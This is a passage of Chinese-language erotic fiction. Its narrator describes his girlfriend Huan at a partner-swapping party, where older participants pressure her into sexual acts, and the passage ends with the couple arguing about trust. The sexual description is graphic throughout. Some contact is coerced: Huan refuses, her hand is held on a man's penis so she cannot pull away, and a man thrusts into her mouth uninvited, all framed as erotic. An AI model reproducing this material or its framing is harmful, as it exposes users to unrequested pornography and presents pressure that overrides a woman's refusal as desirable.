“嗄...嗄嗄...”两腿间的淫水泄过一塌胡涂,环浑身无力的急喘着气。三位女人的技巧和女友的反应,都带给我从未有过的刺激和兴奋。过往在派对上我也从没看过大家会如此合力去淫玩一个女生。也许是环的倔强和坚持,更激起其它参加者要攻破其城墙的决心。

在如此情况下,不要说环这初入淫窟的小女生,就是经验丰富如我,也不一定能抵挡这淫靡气氛。

我被女友的美态看得痴了,同时间被环魅力迷着的也不止我一人,在场男仕无不注视于四人的淫乱游戏当中。我侧身看看旁边的强,只见他亦是吞着唾液,短裤前撑起一个大帐幕来。

强看到我盯着他下体,亦留意到自己的窘态,尴尬的陪笑道:“抱歉,你女友实在太风骚。”

我耸耸肩,没什么反感,明白这毕竟是男人的本能反应。而且在过往日子,我亦曾因为强的女友勃起过无数次。

曾太太看到环的年纪轻轻,淫水却流极还有,高兴之余亦被其感染,她伸手住自已的下体一摸,也是湿淋淋一片:“老娘看到妳这饥渴的小娃,连我也想要了。”

说着把头转向众男淫秽一笑,林小姐的男友张先生立刻识趣地走到曾太太的身后,抬起中年妇人的屁股,把整条硬起的肉棒一口气尽根插入。

“呀!好爽!”

曾太太发出舒适的呻吟,诱惑般向环说道:“每个有性经验的女人都知道,那里痒的时候是多么难受,我想妳现在也一定很想给插屄吧?”

半躺床上的环媚眼微张,呆呆的不懂答话,只眼巴巴的看着两人在眼前交合,曾太太故意提高右腿,让环可以看得清楚。那一条坚硬的物体不住从女人的胯间出出入入,叫女孩心神震荡,同时间曾先生和郭先生亦分别从两旁搂着谭太太和黄姐两人,并以小狗式从后插入:“呀!”

这个光境使环不知所措,一分钟前还强忍挑逗的她彷佛突然被悬在半空,勾起的情欲无处发泄。三个女人在耳边响起淫声浪语,令她亦不自觉的掩起下体,只见女友眼帘半掩下的美目荡着秋水,明显是处于情绪高涨的状态。忽地目光投向我处,那滚滚转动的眼珠儿幽幽地看着我,似乎亦是等待我对她的满足。

我正想走到环的身边,此时年纪较轻的林小姐却适时地从后拥上,我刚与环做完一次,身上就只穿着内裤一条,林小姐全身赤裸,一双香软的馒头从后压在我的背脊,我甚至可以感觉到那两颗发硬的葡萄。她在我耳边吹一口气,以淫秽的声线说:“帅哥,这里是交换派对,你们总是自己做,于理不合哦?”

我没答话,林小姐风骚地把手从后伸进我的内裤,越过屁股来个猴子偷桃,以五根手指从下抚弄我垂下的阴囊:“很胀的袋袋啊,你现在一定也很兴奋吧?我第一次来的时候男友告诉我,看着我被别个男人操时很兴奋,自始就爱上了联谊,刚才我听曾姐说你以前也是熟客,在这里干过不少别人老婆,但还是首次带女朋友来参加,而且好像很不舍得她给别个男人操。但凡事都要有第一次,你们不开始,就永远不会明白交换的快乐。”

我虽然感到兴奋,但并没有失去理智,我默默说道:“我跟环不需要明白交换的快乐,我们一起已经十分满足,没有必要节外生枝。”

林小姐笑说:“你好自私,自己试过的快乐,却又不愿给心爱的人去试,你又怎知道你女友会不喜欢?你看她现在多么兴奋,我知道她其实是很想试的,但因为你是她的男人,她怕你会生气,如果你不在现场,我保证她已经被人干上了。男人与女人对性的需要是同等的,换了躺在那边的是你,受到这样挑逗加上现场的气氛,你又忍得住不让自己放纵一次吗?”

说着林小姐从后环抱着我,徐徐把我的内裤褪下,以两手套弄着我勃起的阳具,嘻笑说道:“好硬啊,我这样替你摸,你很舒服吧?你会舍得推开我吗?难道你就会不想畅快地发泄出来吗?”

林小姐的说话叫我无从反驳,事实上如此境况,是没几个人可以把持得住。

环看到我的阳具被握在林小姐手中,有些醋意的别个头去。

我想上前解释,但仍被林小姐按住,她从后以阴毛磨蹭着我的屁股,在耳边以销魂的声线说:“你女友好不容易才跨出这一步,你现在放弃就前功尽废了,难道你不想给最爱的人一个完美的晚上吗?不要告诉我你不想,看,你的马眼都出水了,你根本亦是十分想看到女友被人干的吧?”

我对林小姐的说话有点动怒,我不知她从哪里来的理据,会认为我想出卖女友,但现时情况并不容许我与她争论。曾太太看到环得不到我的慰藉,更像戏弄般伏下身体,以两手挪开女友的小屄,再用中指在阴唇间挑逗:“小泽救不了妳呢,妳的小屄很痒吧?很想被男人插吧?不用怕,这里男人多的是,妳想要长的粗的短的幼的,都通通可以满足妳。只要说一声,妳就可以得到。”

环被挑逗得浑身火热,像被欲炎烧身,她不再有刚才的坚定硬朗,而只是虚弱无力的呻吟着。

“我不要...”“很坚持呢。”

曾太太狡黠一笑,身旁两个男人分别步到环的床头,当目睹谭先生把他那条勃起的肉棒扬在环的面前的时候,我感到自己的大脑神经亦绷紧起来。

谭先生是现场中阳具最大的一位,龟头不但大,而且十分圆。以前一起联谊的李小姐曾告诉我,经验不多的少女会较喜欢前端尖的龟头,因为会比较容易进入阴道,但论抽插时的快感,则圆的较为刺激,像一个小球在里面磨,有搔痒的感觉。当然哪种比较好是因人而异,但大前提是要试过才可以作出比较。

而跟谭先生相比,黄姐丈夫的鸡巴不算长,但很粗,龟头成椭圆型,像一个生剥的鸡蛋。刚才曾太太带环游逛各人做爱的时候女友亦曾看过这两根肉棒,但如此近在眼前,又有另一种感觉。

两人的鸡巴递得很近,几乎要碰到环的脸庞。女友一脸茫然,曾太太笑说:“我们不会强迫任何人,不过妳可以先感受一下其它男人的分别,再决定是否享受他们为妳的服务。”

环的眼神很迷惑,似乎是徘徊于理智和欲望之间。带着好奇,但又有点害怕,被郭先生操着的谭太太看到女友犹豫不决,主动提起她的右手,碰在丈夫的肉棒之上:“不用想了,我老公的鸡巴又长又硬,妳一定会喜欢。”

甫一接触,环浑身一抖,立刻想把手缩起,但被谭太太捉着的手却挣脱不了,只有老实地握着那粗长的肉棒,这是女友第一次触摸男友以外的鸡巴,是一支比我和其初恋男友都要健壮的鸡巴。

“呀!”

那一秒,除了环以外我也感到心头一震,男女间的身体接触,其实是一件很单纯的事情,我不明白只是皮肤间的触碰,原来竟可以为我们带来如此震撼。

肉棒的灼热,彷佛从掌心直透进环的心中,从我俩的距离我没可能听到女友的心跳声,但从她红如熟透果实的脸蛋,我可以想象她的心,现在一定跟我跳得一样的快。

头脑发滚的环木讷地望着眼前的鸡巴,犹如一个被处份的小孩子,不知道下一步应该如何是好,渐渐地我看到她的左手亦缓缓提起,像有意无意间,落在另一根的肉棒上面。

“呵呵,小女孩变乖了呢。”

曾太太看到环终于肯握起男人们的肉棒,表情明显得意起来。每个女人的第一步都是最难踏出的,然而当踏出了这步,往后的路就会畅顺得多。

曾太太离开黄姐丈夫的身体,走到环的床头,像爱惜般的抚摸着环的秀发和脸庞,柔声说:“真是好可爱的一个女孩,我办了派对这么久,也没碰上这么一个叫人怜惜的女孩。姨姨真的很喜欢妳。”

接着指着谭先生的鸡巴说:“很大很粗吧?但其实是可以更硬的,妳试试伸舌舔舔。”

环死命摇头,曾太太扬起眉毛说:“姨姨说的话也不听吗?”

这是一件很奇怪的事情,自从环被曾太太弄至潮吹后,我感觉她内心就有一点惧怕曾太太,与其说是惧怕,倒不如说不敢反抗她会贴切点。女友在不知怎办下再一次把目光投向我,眼球底下藏着无助,正在等待着我的答案。

我过住阅人众多,尝过了不少不同的屄,也试过不同异性的温柔,然而抚心自问,我真的愿意让女友也去感受那异样的快感吗?

林小姐说得不错,男人真是一种自私的生物,我们在抽插别个女人时可以不顾一切,但当面对自己女友要出轨,便找来万千借口,甚至用贞操的枷锁来强制对方。

如果环因为跟别人有性接触而被沦为淫娃,那么我这个曾若无其事见屄就插的男友岂不是比她下流百倍?

我作一个不可置否的表情,环看到后皱一皱眉,嘴儿扁得像只小鸭,向我嘟了一下,便再次把脸朝向面前那根鸡巴之上。

女友闭起眼睛,伸出舌头,我可以看到她的小嘴犹如慢镜般一秒一秒地接近那个通红的龟头,直到舌尖完全碰在马眼之上,世间彷如一瞬间崩塌下来。

环做了,我的女友在跟别人口交,是一个才认识了不到几个钟头的男人,是一根完全陌生的肉棒。

我感觉被打进了另一个世界,分不清身处的到底是天堂还是地狱。

第21章

环舔了第一下,又补上一下,开始在龟头上轻轻舔着。谭先生的脸上明显展露出非常畅快的表情,征服一个良家妇女的快感,是远胜干上十个淫妇。可以令一直坚持不会背叛男友的女孩替自己吃鸡巴,意义上是非常重大。

另一边的黄姐丈夫看了,也是心瘾难耐,催促着说:“小妹妹,我知道我鸡巴不及老谭大,但也不能这样不公平啊。”

环抿一抿嘴,带点生气的盯着眼前男人,直视了那椭圆型的龟头好一会儿,便张开小嘴,将其完全纳入口中。

“啊啊~”谁也不会猜到我女友会突然如此开放,环把龟头含在口中后没有停下,而是开始卖力吸吮,甚至脑袋儿也前后晃动起来,一双挂在胸脯的小乳头随着动作而摇曳不停,煞是好看。

那是一个叫我感到血脉贲张的画面,我这个野蛮女友,竟然会全身赤裸地,握着两个男人的肉棒替他们口交。

“嗦嗦...”环托着黄姐丈夫的鸡巴,吃得啧啧声响。我简直不能相信眼前目睹的一切,虽然某程度上已经作好也许会发生的心理准备,但当真正目击时,仍是会有一种心房猛跳的震撼。

而同样地,在场也没有一个男仕可以预计得到,这个一刻前才坚持不肯出轨的女生会突然有此举动,惊讶之余亦纷纷上前讨我女友便宜。特别那从一开始已经盯着环的郭先生更是急不及待地从黄姐身上抽出鸡巴冲上前去,在女友面前扬起自己那仍沾满女人爱液的阳具。

“小美人,公道点,也给叔叔吹一吹。”

环吐出口中肉棒,牢牢地盯着那根湿淋淋的丑陋鸡巴,郭先生的肉棒很短,即使昂首挺立,亦只有谭先生静止时的一半长度,呈粉红色的龟头不大,有点幼嫩的感觉,跟其已届中年的年纪并不相配。女友的表情明显有些厌恶,像是不大喜欢这个曾欺负她的男人。犹豫一会,最终还是乖巧的把头趋前,张嘴含住郭先生的龟头。

“呵呵,爽啊。”

香软湿滑的口腔包着自己鸡巴,郭先生脸上流露出猥亵笑容,这男人唾涎环的美色已久,但一直久攻不下,本早已放弃。如今却冷手执起热煎堆,无端可以一尝这小美女的口技,登时畅快得要哼出歌儿来。只见他被环含住鸡巴后,腰间竟作前推后退的动作,直把女友的小嘴当成小屄,平白地操了起来。

“呜!”

环没料到男人会有此举动,气得实时把鸡巴吐出,不肯再亲,郭先生嘻皮笑脸的道歉几句,女友才不情不愿的再次把面前的小磨菇含在口里,双手亦前后挪动,套弄着其余两人的鸡巴。

“啧啧...啧啧...”对此情景我感到不可思议,我最爱的女人竟在同时间跟三个男人进行荒淫。

我那个曾非常厌恶联谊派对的女友,居然公然在我的面前与别人口交。这种只有在色情片上看到的画面如今真实地呈现在眼前,而且女主角更是只跟我一个男人有过关系的环!

一直从背后抚着我肉棒的林小姐在我耳声笑说:“嘻嘻,看来你女友放开了呢,这样有好戏看了。”

我没有答话,只继续欣赏着女友的淫乱。与其说是欣赏,不如说是眈视更为合适。我正奇怪环怎会突然开放自己,却发觉她不时以眼眸瞄向我方,偶然眼神触碰,立刻又闪避别处。那一秒间,我彷佛知道女友的心事。这小辣椒为了赌气,真是什么也做得出来。

这时候强亦推开缠着他的郭太太,走过来着我说:“泽,这样真的好吗?你不怕伤害你跟女友的感情?”

林小姐放开拥着我的手,转投向强的怀里:“哎呀,人家都决定要玩了,你这个当朋友的还装什么君子?来这里本来就是要享乐的啊,那么多顾忌不如早点分手还干脆多了。你看你自己不是硬得像条铁柱,还好意思当圣人。人家的女友那么可爱,待会可以操,你以为你就不排队去操啊,小帅哥。”

我没心情管他们的事,只无言地走到女友大床的前面。环看我走近,更是卖力地吞吐着口中鸡巴,郭先生能力有限,明显受不了那突然加强的刺激,浑身打颤的叫停道:“小美人,不要吸得那么骚,叔叔快要被妳吸出来了。”

环吐出肉棒,故意不望向我,哼着嘴说:“你射啊,射在人家的嘴里,反正我都要跟男友分手了,跟你怎样玩都可以。”

我伸手扭起环的耳珠,教训道:“刚才还好好的,干么突然说分手了?”

环放开手上鸡巴,摸着被我扭至通红的耳朵,生气的说:“我有说错吗?就是今天不分手,明天都要分的啰,横竖你都没打算跟我有结果。我才不会那么笨,给你玩几年才一脚踢走,要分就早点分好了。”

我没好气说:“妳要讲道理,我又有什么令妳大小姐不满意了?”

环嘟起小嘴,带点委屈的道:“我有说错吗?如果你打算以后跟我一起,会看到我跟别个男人吃鸡巴而不生气,不阻止吗?我刚才望了你这么多眼,你一点反应都没有,反而真的很想我吃下去的,我就知你不是真心对我。”

环愈说愈激动,声线也咽呜起来:“仪她们说得不错,如果男友是珍惜妳,就是给别人看看奶子,亦会生气得打人的。但我今天不但被看光了,连别人的鸡巴都吃了,你仍然是无动于中,好像与你无关的。你还敢说你珍惜我?我知道我在你心中就是不值钱,连第一次也是主动提出的,所以拿给别人玩也没相干!”

我叹口气问:“仪是妳同学?妳跟她说了今天来派对的事?”

环大叫道:“当然了,她们是我的最好朋友,这么大的事,当然要商量!”

我搔搔头毛,女人事无大小都爱跟闺中蜜友商量的性格我早知道,但也没料到连参加乱交派对也先要给大家同意了。

环哽结说:“大家都说我跟你太年轻,只是玩玩的不要认真,男孩子中有一句说话,说女朋友就是好,可以玩又不用负责任。玩的是一个,娶的又是另一个,既然你那么喜欢我跟别人玩,我就跟别人玩好了。”

我不想跟环有口舌之争,看到女友这样激动,也就让她先发泄出来。环说了一堆,看到我没有答话,大嚷道:“没话说吗?没话说我就要跟别人吹箫了,不要阻我!”

望着面前那蛮不讲理的女友,我觉得她真的很可爱,很想有紧紧抱起,亲她小嘴的冲动。

我耸耸肩,装作淡然道:“好的,妳做吧,如果妳觉得可以承受,就是做到最后我也不会介意。”

环一直只跟我在赌气,没想到我会毫不在乎的说出这话儿来,原本倔强的眼神一剎那空洞起来,那被怒气蔽起的眼眸彷佛在一瞬间被击碎一样,变得毫无生命。她呆呆地望着我说:“你知道自己在说什么吗?你是叫我在你面前跟别人做爱?你真的打算放弃我们的感情?”

“我没有打算放弃我们的感情。”

我摇着头,平心静气的慢慢说着:“既然妳说出了心底话,我也来说说自己的想法。环,妳刚才不是问我,如果妳在这里跟别人做了,我是否会跟妳分手?不瞒妳说,在自从妳跟我说要来参加联谊派对以后,我真的很生气,是生气得要想跟妳分手那种。但当知道妳的用意后,我又觉得很感动。我重新体会到,妳是多么重视我俩的感情。”

我扬起头来,望着强说:“然而在感动的同时,我又反省妳对我的说话,妳说得不错,我以前暗恋的那位女生,不管在我面前跟多少个男人做了,我仍是不介意,甚至如果当天她说肯跟我一起,我是想也不想便会答应。我对她的爱,是不管她多淫荡,我亦会爱她。但对妳,却是一种占有欲的爱。我怕妳会跟别人做爱,亦怕妳会背叛我。”

“很不公平吗?对啊,真的很不公平,一个为我付出了最真心的女孩子,我却没有给她信任的爱,是那种“即使露出最淫荡的一面,相信你也不会嫌弃我淫荡而抛弃我”的信任。”

我把目光重新放在环的身上,自嘲的说:“当然,妳今天来这里的目的,就是因为我给妳的信任感不够。所以我醒悟了,如果这是最真实的妳,那就在今天都尽情地发挥出来吧。我会以爱妳的人的身份跟妳一起分享,而不是把妳变成我的所有物。”

“这才不是真实的我!”

环扭肩嚷道,我把手放在女友大腿内侧,于其耳边小声说:“还在否认?身体的反应是最真实的,我刚才看妳替他们吃鸡巴时水一直在流,就知妳其实也很兴奋。”

环羞涩的敲打我胸膛,我把头搁到她的额上,感触的说:“妳知道吗?在妳生气的这两个星期,是我人生里最低沉的日子。我以后也不想这样了,我跟妳一起还有很多个十年,我不想再去猜测对方的想法。我希望我俩都可以活出真我,而不是因为害怕对方会舍弃自己,而把真实一面掩藏起来。”